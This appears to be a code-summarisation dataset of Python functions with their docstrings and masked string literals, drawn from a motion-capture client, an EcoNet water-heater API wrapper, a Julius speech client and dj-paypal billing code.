{"signature": "async def get_current_frame(self, components=None) -> QRTPacket:", "body": "if components is None:<EOL><INDENT>components = [\"<STR_LIT:all>\"]<EOL><DEDENT>else:<EOL><INDENT>_validate_components(components)<EOL><DEDENT>cmd = \"<STR_LIT>\" % \"<STR_LIT:U+0020>\".join(components)<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Get measured values from QTM for a single frame.\n\n        :param components: A list of components to receive, could be 'all' or any combination of\n                '2d', '2dlin', '3d', '3dres', '3dnolabels',\n                '3dnolabelsres', 'force', 'forcesingle', '6d', '6dres',\n                '6deuler', '6deulerres', 'gazevector', 'image', 'timecode',\n                'skeleton', 'skeleton:global'\n\n        :rtype: A :class:`qtm.QRTPacket` containing requested components", "id": "f8806:c0:m8"}
{"signature": "async def stream_frames(self, frames=\"<STR_LIT>\", components=None, on_packet=None):", "body": "if components is None:<EOL><INDENT>components = [\"<STR_LIT:all>\"]<EOL><DEDENT>else:<EOL><INDENT>_validate_components(components)<EOL><DEDENT>self._protocol.set_on_packet(on_packet)<EOL>cmd = \"<STR_LIT>\" % (frames, \"<STR_LIT:U+0020>\".join(components))<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Stream measured frames from QTM until :func:`~qtm.QRTConnection.stream_frames_stop`\n           is called.\n\n\n        :param frames: Which frames to receive, possible values are 'allframes',\n            'frequency:n' or 'frequencydivisor:n' where n should be desired value.\n        :param components: A list of components to receive, could be 'all' or any combination of\n                '2d', '2dlin', '3d', '3dres', '3dnolabels',\n                '3dnolabelsres', 'force', 'forcesingle', '6d', '6dres',\n                '6deuler', '6deulerres', 'gazevector', 'image', 'timecode',\n                'skeleton', 'skeleton:global'\n\n        :rtype: The string 'Ok' if successful", "id": "f8806:c0:m9"}
{"signature": "async def stream_frames_stop(self):", "body": "self._protocol.set_on_packet(None)<EOL>cmd = \"<STR_LIT>\"<EOL>await self._protocol.send_command(cmd, callback=False)<EOL>", "docstring": "Stop streaming frames.", "id": "f8806:c0:m10"}
{"signature": "@validate_response([b\"<STR_LIT>\"])<EOL><INDENT>async def take_control(self, password):<DEDENT>", "body": "cmd = \"<STR_LIT>\" % password<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Take control of QTM.\n\n        :param password: Password as entered in QTM.", "id": "f8806:c0:m11"}
{"signature": "@validate_response([b\"<STR_LIT>\"])<EOL><INDENT>async def release_control(self):<DEDENT>", "body": "cmd = \"<STR_LIT>\"<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Release control of QTM.", "id": "f8806:c0:m12"}
{"signature": "@validate_response([b\"<STR_LIT>\", b\"<STR_LIT>\"])<EOL><INDENT>async def new(self):<DEDENT>", "body": "cmd = \"<STR_LIT>\"<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Create a new measurement.", "id": "f8806:c0:m13"}
{"signature": "@validate_response(<EOL>[<EOL>b\"<STR_LIT>\",<EOL>b\"<STR_LIT>\",<EOL>b\"<STR_LIT>\",<EOL>b\"<STR_LIT>\",<EOL>]<EOL>)<EOL><INDENT>async def close(self):<DEDENT>", "body": "cmd = \"<STR_LIT>\"<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Close a measurement", "id": "f8806:c0:m14"}
{"signature": "@validate_response([b\"<STR_LIT>\", b\"<STR_LIT>\"])<EOL><INDENT>async def start(self, rtfromfile=False):<DEDENT>", "body": "cmd = \"<STR_LIT:start>\" + (\"<STR_LIT>\" if rtfromfile else \"<STR_LIT>\")<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Start RT from file. You need to be in control of QTM to be able to do this.", "id": "f8806:c0:m15"}
{"signature": "@validate_response([b\"<STR_LIT>\"])<EOL><INDENT>async def stop(self):<DEDENT>", "body": "cmd = \"<STR_LIT>\"<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Stop RT from file.", "id": "f8806:c0:m16"}
{"signature": "@validate_response([b\"<STR_LIT>\"])<EOL><INDENT>async def load(self, filename):<DEDENT>", "body": "cmd = \"<STR_LIT>\" % filename<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Load a measurement.\n\n        :param filename: Path to measurement you want to load.", "id": "f8806:c0:m17"}
{"signature": "@validate_response([b\"<STR_LIT>\"])<EOL><INDENT>async def save(self, filename, overwrite=False):<DEDENT>", "body": "cmd = \"<STR_LIT>\" % (filename, \"<STR_LIT>\" if overwrite else \"<STR_LIT>\")<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Save a measurement.\n\n        :param filename: Filename you wish to save as.\n        :param overwrite: If QTM should overwrite existing measurement.", "id": "f8806:c0:m18"}
{"signature": "@validate_response([b\"<STR_LIT>\"])<EOL><INDENT>async def load_project(self, project_path):<DEDENT>", "body": "cmd = \"<STR_LIT>\" % project_path<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Load a project.\n\n        :param project_path: Path to project you want to load.", "id": "f8806:c0:m19"}
{"signature": "@validate_response([b\"<STR_LIT>\"])<EOL><INDENT>async def trig(self):<DEDENT>", "body": "cmd = \"<STR_LIT>\"<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Trigger QTM, only possible when QTM is configured to use Software/Wireless trigger", "id": "f8806:c0:m20"}
{"signature": "@validate_response([b\"<STR_LIT>\"])<EOL><INDENT>async def set_qtm_event(self, event=None):<DEDENT>", "body": "cmd = \"<STR_LIT>\" % (\"<STR_LIT>\" if event is None else \"<STR_LIT:U+0020>\" + event)<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Set event in QTM.", "id": "f8806:c0:m21"}
{"signature": "async def send_xml(self, xml):", "body": "return await asyncio.wait_for(<EOL>self._protocol.send_command(xml, command_type=QRTPacketType.PacketXML),<EOL>timeout=self._timeout,<EOL>)<EOL>", "docstring": "Used to update QTM settings, see QTM RT protocol for more information.\n\n        :param xml: XML document as a str. See QTM RT Documentation for details.", "id": "f8806:c0:m22"}
{"signature": "async def set_version(self, version):", "body": "version_cmd = \"<STR_LIT>\" % version<EOL>await self.send_command(version_cmd)<EOL>", "docstring": "Set version of RT protocol used to communicate with QTM", "id": "f8807:c1:m1"}
{"signature": "async def await_event(self, event=None, timeout=None):", "body": "if self.event_future is not None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>result = await asyncio.wait_for(self._wait_loop(event), timeout)<EOL>return result<EOL>", "docstring": "Wait for any or specified event", "id": "f8807:c1:m3"}
{"signature": "def send_command(<EOL>self, command, callback=True, command_type=QRTPacketType.PacketCommand<EOL>):", "body": "if self.transport is not None:<EOL><INDENT>cmd_length = len(command)<EOL>LOG.debug(\"<STR_LIT>\", command)<EOL>self.transport.write(<EOL>struct.pack(<EOL>RTCommand % cmd_length,<EOL>RTheader.size + cmd_length + <NUM_LIT:1>,<EOL>command_type.value,<EOL>command.encode(),<EOL>b\"<STR_LIT>\",<EOL>)<EOL>)<EOL>future = self.loop.create_future()<EOL>if callback:<EOL><INDENT>self.request_queue.append(future)<EOL><DEDENT>else:<EOL><INDENT>future.set_result(None)<EOL><DEDENT>return future<EOL><DEDENT>raise QRTCommandException(\"<STR_LIT>\")<EOL>", "docstring": "Sends commands to QTM", "id": "f8807:c1:m4"}
{"signature": "def set_on_packet(self, on_packet):", "body": "self.on_packet = on_packet<EOL>self._start_streaming = on_packet is not None<EOL>", "docstring": "Set callback to use when packet arrives", "id": "f8807:c1:m6"}
{"signature": "def data_received(self, data):", "body": "self._receiver.data_received(data)<EOL>", "docstring": "Received from QTM and route accordingly", "id": "f8807:c1:m7"}
{"signature": "async def reboot(ip_address):", "body": "_, protocol = await asyncio.get_event_loop().create_datagram_endpoint(<EOL>QRebootProtocol,<EOL>local_addr=(ip_address, <NUM_LIT:0>),<EOL>allow_broadcast=True,<EOL>reuse_address=True,<EOL>)<EOL>LOG.info(\"<STR_LIT>\", ip_address)<EOL>protocol.send_reboot()<EOL>", "docstring": "async function to reboot QTM cameras", "id": "f8808:m0"}
{"signature": "def connection_made(self, transport):", "body": "self.transport = transport<EOL>", "docstring": "On socket creation", "id": "f8808:c0:m1"}
{"signature": "def send_reboot(self):", "body": "self.transport.sendto(b\"<STR_LIT>\", (\"<STR_LIT>\", DEFAULT_DISCOVERY_PORT))<EOL>", "docstring": "Sends reboot package broadcast", "id": "f8808:c0:m2"}
{"signature": "def get_default_tag(app):", "body": "view_func = get_view_function(app, request.path, request.method)<EOL>if view_func:<EOL><INDENT>return view_func.__name__<EOL><DEDENT>", "docstring": "Get the name of the view function used to prevent having to set the tag\n    manually for every endpoint", "id": "f8812:m6"}
{"signature": "def get_view_function(app, url, method):", "body": "<EOL>adapter = app.create_url_adapter(request)<EOL>try:<EOL><INDENT>match = adapter.match(url, method=method)<EOL><DEDENT>except RequestRedirect as ex:<EOL><INDENT>return get_view_function(app, ex.new_url, method)<EOL><DEDENT>except (MethodNotAllowed, NotFound):<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>return app.view_functions[match[<NUM_LIT:0>]]<EOL><DEDENT>except KeyError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Match a url and return the view and arguments\n    it will be called with, or None if there is no view.\n    Creds: http://stackoverflow.com/a/38488506", "id": "f8812:m7"}
{"signature": "def __init__(self, email, password):", "body": "self.email = email<EOL>self.password = password<EOL>self.token = None<EOL>self.refresh_token = None<EOL>self.last_api_call = None<EOL>self.state = []<EOL>self.authenticated = self._authenticate()<EOL>", "docstring": "Create the EcoNet API interface object.\nArgs:\n    email (str): EcoNet account email address.\n    password (str): EcoNet account password.", "id": "f8818:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def set_state(_id, body):<DEDENT>", "body": "url = DEVICE_URL % _id<EOL>if \"<STR_LIT>\" in body:<EOL><INDENT>url = MODES_URL % _id<EOL><DEDENT>arequest = requests.put(url, headers=HEADERS, data=json.dumps(body))<EOL>status_code = str(arequest.status_code)<EOL>if status_code != '<STR_LIT>':<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\" + status_code)<EOL>return False<EOL><DEDENT>", "docstring": "Set a devices state.", "id": "f8818:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def get_modes(_id):<DEDENT>", "body": "url = MODES_URL % _id<EOL>arequest = requests.get(url, headers=HEADERS)<EOL>status_code = str(arequest.status_code)<EOL>if status_code == '<STR_LIT>':<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>return arequest.json()<EOL>", "docstring": "Pull a water heater's modes from the API.", "id": "f8818:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def get_usage(_id):<DEDENT>", "body": "url = USAGE_URL % _id<EOL>arequest = requests.get(url, headers=HEADERS)<EOL>status_code = str(arequest.status_code)<EOL>if status_code == '<STR_LIT>':<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>try:<EOL><INDENT>return arequest.json()<EOL><DEDENT>except ValueError:<EOL><INDENT>_LOGGER.info(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>", "docstring": "Pull a water heater's usage report from the API.", "id": "f8818:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def get_device(_id):<DEDENT>", "body": "url = DEVICE_URL % _id<EOL>arequest = requests.get(url, headers=HEADERS)<EOL>status_code = str(arequest.status_code)<EOL>if status_code == '<STR_LIT>':<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>return arequest.json()<EOL>", "docstring": "Pull a device from the API.", "id": "f8818:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def get_locations():<DEDENT>", "body": "arequest = requests.get(LOCATIONS_URL, headers=HEADERS)<EOL>status_code = str(arequest.status_code)<EOL>if status_code == '<STR_LIT>':<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>return arequest.json()<EOL>", "docstring": "Pull the accounts locations.", "id": "f8818:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def get_vacations():<DEDENT>", "body": "arequest = requests.get(VACATIONS_URL, headers=HEADERS)<EOL>status_code = str(arequest.status_code)<EOL>if status_code == '<STR_LIT>':<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>return arequest.json()<EOL>", "docstring": "Pull the accounts vacations.", "id": "f8818:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def create_vacation(body):<DEDENT>", "body": "arequest = requests.post(VACATIONS_URL, headers=HEADERS, data=json.dumps(body))<EOL>status_code = str(arequest.status_code)<EOL>if status_code != '<STR_LIT>':<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\" + status_code)<EOL>_LOGGER.error(arequest.json())<EOL>return False<EOL><DEDENT>return arequest.json()<EOL>", "docstring": "Create a vacation.", "id": "f8818:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def delete_vacation(_id):<DEDENT>", "body": "arequest = requests.delete(VACATIONS_URL + \"<STR_LIT:/>\" + _id, headers=HEADERS)<EOL>status_code = str(arequest.status_code)<EOL>if status_code != '<STR_LIT>':<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\" + status_code)<EOL>return False<EOL><DEDENT>return True<EOL>", "docstring": "Delete a vacation by ID.", "id": "f8818:c0:m8"}
{"signature": "def _authenticate(self):", "body": "auth_url = BASE_URL + \"<STR_LIT>\"<EOL>payload = {'<STR_LIT:username>': self.email, '<STR_LIT:password>': self.password, '<STR_LIT>': '<STR_LIT:password>'}<EOL>arequest = requests.post(auth_url, data=payload, headers=BASIC_HEADERS)<EOL>status = arequest.status_code<EOL>if status != <NUM_LIT:200>:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\" + str(status))<EOL>return False<EOL><DEDENT>response = arequest.json()<EOL>_LOGGER.debug(str(response))<EOL>self.token = response.get(\"<STR_LIT>\")<EOL>self.refresh_token = response.get(\"<STR_LIT>\")<EOL>_auth = HEADERS.get(\"<STR_LIT>\")<EOL>_auth = _auth % self.token<EOL>HEADERS[\"<STR_LIT>\"] = _auth<EOL>_LOGGER.info(\"<STR_LIT>\")<EOL>return True<EOL>", "docstring": "Authenticate with the API and return an authentication token.", "id": "f8818:c0:m9"}
{"signature": "def get_water_heaters(self):", "body": "water_heaters = []<EOL>for location in self.locations:<EOL><INDENT>_location_id = location.get(\"<STR_LIT:id>\")<EOL>for device in location.get(\"<STR_LIT>\"):<EOL><INDENT>if device.get(\"<STR_LIT:type>\") == \"<STR_LIT>\":<EOL><INDENT>water_heater_modes = self.api_interface.get_modes(device.get(\"<STR_LIT:id>\"))<EOL>water_heater_usage = self.api_interface.get_usage(device.get(\"<STR_LIT:id>\"))<EOL>water_heater = self.api_interface.get_device(device.get(\"<STR_LIT:id>\"))<EOL>vacations = self.api_interface.get_vacations()<EOL>device_vacations = []<EOL>for vacation in vacations:<EOL><INDENT>for equipment in vacation.get(\"<STR_LIT>\"):<EOL><INDENT>if equipment.get(\"<STR_LIT:id>\") == water_heater.get(\"<STR_LIT:id>\"):<EOL><INDENT>device_vacations.append(EcoNetVacation(vacation, self.api_interface))<EOL><DEDENT><DEDENT><DEDENT>water_heaters.append(EcoNetWaterHeater(water_heater, water_heater_modes, water_heater_usage,<EOL>_location_id,<EOL>device_vacations,<EOL>self.api_interface))<EOL><DEDENT><DEDENT><DEDENT>return water_heaters<EOL>", "docstring": "Return a list of water heater devices.\n\nParses the response from the locations endpoint in to a pyeconet.WaterHeater.", "id": "f8818:c1:m1"}
{"signature": "def stop(self):", "body": "self._stop = True<EOL>", "docstring": "Stop the thread", "id": "f8823:c0:m1"}
{"signature": "def run(self):", "body": "logger.info(u'<STR_LIT>')<EOL>while not self._stop:<EOL><INDENT>xml = self._readxml()<EOL>if xml is None:<EOL><INDENT>break<EOL><DEDENT>if not self.modelize:<EOL><INDENT>logger.info(u'<STR_LIT>' % xml)<EOL>self.results.put(xml)<EOL>continue<EOL><DEDENT>if xml.tag == '<STR_LIT>':<EOL><INDENT>sentence = Sentence.from_shypo(xml.find('<STR_LIT>'), self.encoding)<EOL>logger.info(u'<STR_LIT>' % sentence)<EOL>self.results.put(sentence)<EOL><DEDENT>else:<EOL><INDENT>logger.info(u'<STR_LIT>' % xml)<EOL>self.results.put(xml)<EOL><DEDENT><DEDENT>logger.info(u'<STR_LIT>')<EOL>", "docstring": "Start listening to the server", "id": "f8823:c0:m2"}
{"signature": "def connect(self):", "body": "try:<EOL><INDENT>logger.info(u'<STR_LIT>' % (self.host, self.port))<EOL>self.sock.connect((self.host, self.port))<EOL><DEDENT>except socket.error:<EOL><INDENT>raise ConnectionError()<EOL><DEDENT>self.state = CONNECTED<EOL>", "docstring": "Connect to the server\n\n        :raise ConnectionError: If socket cannot establish a connection", "id": "f8823:c0:m3"}
{"signature": "def disconnect(self):", "body": "logger.info(u'<STR_LIT>')<EOL>self.sock.shutdown(socket.SHUT_RDWR)<EOL>self.sock.close()<EOL>self.state = DISCONNECTED<EOL>", "docstring": "Disconnect from the server", "id": "f8823:c0:m4"}
{"signature": "def send(self, command, timeout=<NUM_LIT:5>):", "body": "logger.info(u'<STR_LIT>' % command)<EOL>_, writable, __ = select.select([], [self.sock], [], timeout)<EOL>if not writable:<EOL><INDENT>raise SendTimeoutError()<EOL><DEDENT>writable[<NUM_LIT:0>].sendall(command + '<STR_LIT:\\n>')<EOL>", "docstring": "Send a command to the server\n\n        :param string command: command to send", "id": "f8823:c0:m5"}
{"signature": "def _readline(self):", "body": "line = '<STR_LIT>'<EOL>while <NUM_LIT:1>:<EOL><INDENT>readable, _, __ = select.select([self.sock], [], [], <NUM_LIT:0.5>)<EOL>if self._stop:<EOL><INDENT>break<EOL><DEDENT>if not readable:<EOL><INDENT>continue<EOL><DEDENT>data = readable[<NUM_LIT:0>].recv(<NUM_LIT:1>)<EOL>if data == '<STR_LIT:\\n>':<EOL><INDENT>break<EOL><DEDENT>line += unicode(data, self.encoding)<EOL><DEDENT>return line<EOL>", "docstring": "Read a line from the server. Data is read from the socket until a character ``\\n`` is found\n\n        :return: the read line\n        :rtype: string", "id": "f8823:c0:m6"}
{"signature": "def _readblock(self):", "body": "block = '<STR_LIT>'<EOL>while not self._stop:<EOL><INDENT>line = self._readline()<EOL>if line == '<STR_LIT:.>':<EOL><INDENT>break<EOL><DEDENT>block += line<EOL><DEDENT>return block<EOL>", "docstring": "Read a block from the server. Lines are read until a character ``.`` is found\n\n        :return: the read block\n        :rtype: string", "id": "f8823:c0:m7"}
{"signature": "def _readxml(self):", "body": "block = re.sub(r'<STR_LIT>', r'<STR_LIT>', self._readblock())<EOL>try:<EOL><INDENT>xml = XML(block)<EOL><DEDENT>except ParseError:<EOL><INDENT>xml = None<EOL><DEDENT>return xml<EOL>", "docstring": "Read a block and return the result as XML\n\n        :return: block as xml\n        :rtype: xml.etree.ElementTree", "id": "f8823:c0:m8"}
{"signature": "@classmethod<EOL><INDENT>def from_shypo(cls, xml, encoding='<STR_LIT:utf-8>'):<DEDENT>", "body": "score = float(xml.get('<STR_LIT>'))<EOL>words = [Word.from_whypo(w_xml, encoding) for w_xml in xml.findall('<STR_LIT>') if w_xml.get('<STR_LIT>') not in ['<STR_LIT>', '<STR_LIT>']]<EOL>return cls(words, score)<EOL>", "docstring": "Constructor from xml element *SHYPO*\n\n        :param xml.etree.ElementTree xml: the xml *SHYPO* element\n        :param string encoding: encoding of the xml", "id": "f8824:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_whypo(cls, xml, encoding='<STR_LIT:utf-8>'):<DEDENT>", "body": "word = unicode(xml.get('<STR_LIT>'), encoding)<EOL>confidence = float(xml.get('<STR_LIT>'))<EOL>return cls(word, confidence)<EOL>", "docstring": "Constructor from xml element *WHYPO*\n\n        :param xml.etree.ElementTree xml: the xml *WHYPO* element\n        :param string encoding: encoding of the xml", "id": "f8824:c1:m1"}
{"signature": "def run(*args):", "body": "if not settings.configured:<EOL><INDENT>settings.configure(**DEFAULT_SETTINGS)<EOL><DEDENT>django.setup()<EOL>parent = os.path.dirname(os.path.abspath(__file__))<EOL>sys.path.insert(<NUM_LIT:0>, parent)<EOL>if \"<STR_LIT>\" in args:<EOL><INDENT>check_migrations()<EOL><DEDENT>else:<EOL><INDENT>django.core.management.call_command(\"<STR_LIT>\", APP_NAME, *args)<EOL><DEDENT>", "docstring": "Check and/or create Django migrations.\n\nIf --check is present in the arguments then migrations are checked only.", "id": "f8828:m1"}
{"signature": "def activate(self):", "body": "obj = self.find_paypal_object()<EOL>if obj.state == enums.BillingPlanState.CREATED:<EOL><INDENT>success = obj.activate()<EOL>if not success:<EOL><INDENT>raise PaypalApiError(\"<STR_LIT>\" % (obj.error))<EOL><DEDENT><DEDENT>self.get_or_update_from_api_data(obj, always_sync=True)<EOL>return obj<EOL>", "docstring": "Activate an plan in a CREATED state.", "id": "f8848:c0:m4"}
{"signature": "def execute(self):", "body": "<EOL>self.executed_at = now()<EOL>self.save()<EOL>with transaction.atomic():<EOL><INDENT>ret = BillingAgreement.execute(self.id)<EOL>ret.user = self.user<EOL>ret.save()<EOL>self.executed_agreement = ret<EOL>self.save()<EOL><DEDENT>return ret<EOL>", "docstring": "Execute the PreparedBillingAgreement by creating and executing a\nmatching BillingAgreement.", "id": "f8848:c1:m5"}
{"signature": "@property<EOL><INDENT>def frequency_delta(self):<DEDENT>", "body": "return get_frequency_delta(self.frequency, self.frequency_interval)<EOL>", "docstring": "Helper property that returns a dateutil.relativedelta.relativedelta\nobject which represents a full billing period.\n\nhttps://dateutil.readthedocs.io/en/stable/relativedelta.html", "id": "f8848:c3:m2"}
{"signature": "def webhook_handler(*event_types):", "body": "<EOL>event_types_to_register = set()<EOL>for event_type in event_types:<EOL><INDENT>event_type = event_type.lower()<EOL>if \"<STR_LIT:*>\" in event_type:<EOL><INDENT>for t in WEBHOOK_EVENT_TYPES:<EOL><INDENT>if fnmatch(t, event_type):<EOL><INDENT>event_types_to_register.add(t)<EOL><DEDENT><DEDENT><DEDENT>elif event_type not in WEBHOOK_EVENT_TYPES:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (event_type))<EOL><DEDENT>else:<EOL><INDENT>event_types_to_register.add(event_type)<EOL><DEDENT><DEDENT>def decorator(func):<EOL><INDENT>for event_type in event_types_to_register:<EOL><INDENT>WEBHOOK_SIGNALS[event_type].connect(func)<EOL><DEDENT>return func<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator that registers a function as a webhook handler.\n\nUsage examples:\n\n>>> # Hook a single event\n>>> @webhook_handler(\"payment.sale.completed\")\n>>> def on_payment_received(event):\n>>>     payment = event.get_resource()\n>>>     print(\"Received payment:\", payment)\n\n>>> # Multiple events supported\n>>> @webhook_handler(\"billing.subscription.suspended\", \"billing.subscription.cancelled\")\n>>> def on_subscription_stop(event):\n>>>     subscription = event.get_resource()\n>>>     print(\"Stopping subscription:\", subscription)\n\n>>> # Using a wildcard works as well\n>>> @webhook_handler(\"billing.subscription.*\")\n>>> def on_subscription_update(event):\n>>>     subscription = event.get_resource()\n>>>     print(\"Updated subscription:\", subscription)", "id": "f8850:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_request(cls, request, webhook_id=PAYPAL_WEBHOOK_ID):<DEDENT>", "body": "headers = fix_django_headers(request.META)<EOL>assert headers<EOL>try:<EOL><INDENT>body = request.body.decode(request.encoding or \"<STR_LIT:utf-8>\")<EOL><DEDENT>except Exception:<EOL><INDENT>body = \"<STR_LIT>\"<EOL><DEDENT>ip = request.META[\"<STR_LIT>\"]<EOL>obj = cls.objects.create(headers=headers, body=body, remote_ip=ip)<EOL>try:<EOL><INDENT>obj.valid = obj.verify(PAYPAL_WEBHOOK_ID)<EOL>if obj.valid:<EOL><INDENT>obj.process(save=False)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>max_length = WebhookEventTrigger._meta.get_field(\"<STR_LIT>\").max_length<EOL>obj.exception = str(e)[:max_length]<EOL>obj.traceback = format_exc()<EOL><DEDENT>finally:<EOL><INDENT>obj.save()<EOL><DEDENT>return obj<EOL>", "docstring": "Create, validate and process a WebhookEventTrigger given a Django\nrequest object.\n\nThe webhook_id parameter expects the ID of the Webhook that was\ntriggered (defaults to settings.PAYPAL_WEBHOOK_ID). This is required\nfor Webhook verification.\n\nThe process is three-fold:\n1. Create a WebhookEventTrigger object from a Django request.\n2. Verify the WebhookEventTrigger as a Paypal webhook using the SDK.\n3. If valid, process it into a WebhookEvent object (and child resource).", "id": "f8850:c1:m0"}
{"signature": "@checks.register(\"<STR_LIT>\")<EOL>def check_paypal_api_key(app_configs=None, **kwargs):", "body": "messages = []<EOL>mode = getattr(djpaypal_settings, \"<STR_LIT>\", None)<EOL>if mode not in VALID_MODES:<EOL><INDENT>msg = \"<STR_LIT>\".format(repr(mode))<EOL>hint = \"<STR_LIT>\".format(\"<STR_LIT:U+002CU+0020>\".join(repr(k) for k in VALID_MODES))<EOL>messages.append(checks.Critical(msg, hint=hint, id=\"<STR_LIT>\"))<EOL><DEDENT>for setting in \"<STR_LIT>\", \"<STR_LIT>\":<EOL><INDENT>if not getattr(djpaypal_settings, setting, None):<EOL><INDENT>msg = \"<STR_LIT>\".format(setting)<EOL>hint = \"<STR_LIT>\"<EOL>messages.append(checks.Critical(msg, hint=hint, id=\"<STR_LIT>\"))<EOL><DEDENT><DEDENT>return messages<EOL>", "docstring": "Check that the Paypal API keys are configured correctly", "id": "f8857:m0"}
{"signature": "def fix_django_headers(meta):", "body": "ret = {}<EOL>for k, v in meta.items():<EOL><INDENT>if k.startswith(\"<STR_LIT>\"):<EOL><INDENT>k = k[len(\"<STR_LIT>\"):]<EOL><DEDENT>elif k not in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>ret[k.lower().replace(\"<STR_LIT:_>\", \"<STR_LIT:->\")] = v<EOL><DEDENT>return ret<EOL>", "docstring": "Fix this nonsensical API:\nhttps://docs.djangoproject.com/en/1.11/ref/request-response/\nhttps://code.djangoproject.com/ticket/20147", "id": "f8862:m0"}
{"signature": "def get_version():", "body": "from . import __version__<EOL>return __version__<EOL>", "docstring": "Returns the current dj-paypal version", "id": "f8862:m2"}
{"signature": "def __register_library(self, module_name: str, attr: str, fallback: str = None):", "body": "<EOL>try:<EOL><INDENT>module = importlib.import_module(module_name)<EOL><DEDENT>except ImportError:<EOL><INDENT>if fallback is not None:<EOL><INDENT>module = importlib.import_module(fallback)<EOL>self.__logger.warn(module_name + \"<STR_LIT>\" + fallback)<EOL><DEDENT>else:<EOL><INDENT>self.__logger.warn(module_name + \"<STR_LIT>\")<EOL><DEDENT><DEDENT>if not attr in dir(self.__sketch):<EOL><INDENT>setattr(self.__sketch, attr, module)<EOL><DEDENT>else:<EOL><INDENT>self.__logger.warn(attr +\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Inserts Interpreter Library of imports into sketch in a very non-consensual way", "id": "f8869:c0:m1"}
{"signature": "def setUp(self):", "body": "self.result = MockResult('<STR_LIT:result>')<EOL>self.collector = MockCollector(ret = self.result)<EOL>self.obj = CollectorDelegate(self.collector)<EOL>", "docstring": "1:delegate - 2:collector", "id": "f8966:c1:m0"}
{"signature": "def expand_path_cfg(path_cfg, alias_dict={ }, overriding_kargs={ }):", "body": "if isinstance(path_cfg, str):<EOL><INDENT>return _expand_str(path_cfg, alias_dict, overriding_kargs)<EOL><DEDENT>if isinstance(path_cfg, dict):<EOL><INDENT>return _expand_dict(path_cfg, alias_dict)<EOL><DEDENT>return _expand_tuple(path_cfg, alias_dict, overriding_kargs)<EOL>", "docstring": "expand a path config\n\n    Args:\n        path_cfg (str, tuple, dict): a config for path\n        alias_dict (dict): a dict for aliases\n        overriding_kargs (dict): to be used for recursive call", "id": "f9023:m0"}
{"signature": "def _expand_str(path_cfg, alias_dict, overriding_kargs):", "body": "if path_cfg in alias_dict:<EOL><INDENT>return _expand_str_alias(path_cfg, alias_dict, overriding_kargs)<EOL><DEDENT>return _expand_for_lambda_str(path_cfg, alias_dict, overriding_kargs)<EOL>", "docstring": "expand a path config given as a string", "id": "f9023:m1"}
{"signature": "def _expand_str_alias(path_cfg, alias_dict, overriding_kargs):", "body": "<EOL>new_path_cfg = alias_dict[path_cfg]<EOL>new_overriding_kargs = dict(alias=path_cfg)<EOL>new_overriding_kargs.update(overriding_kargs)<EOL>return expand_path_cfg(new_path_cfg, alias_dict,new_overriding_kargs)<EOL>", "docstring": "expand a path config given as a string\n\n    Args:\n        path_cfg (str): an alias\n        alias_dict (dict):\n        overriding_kargs (dict):", "id": "f9023:m3"}
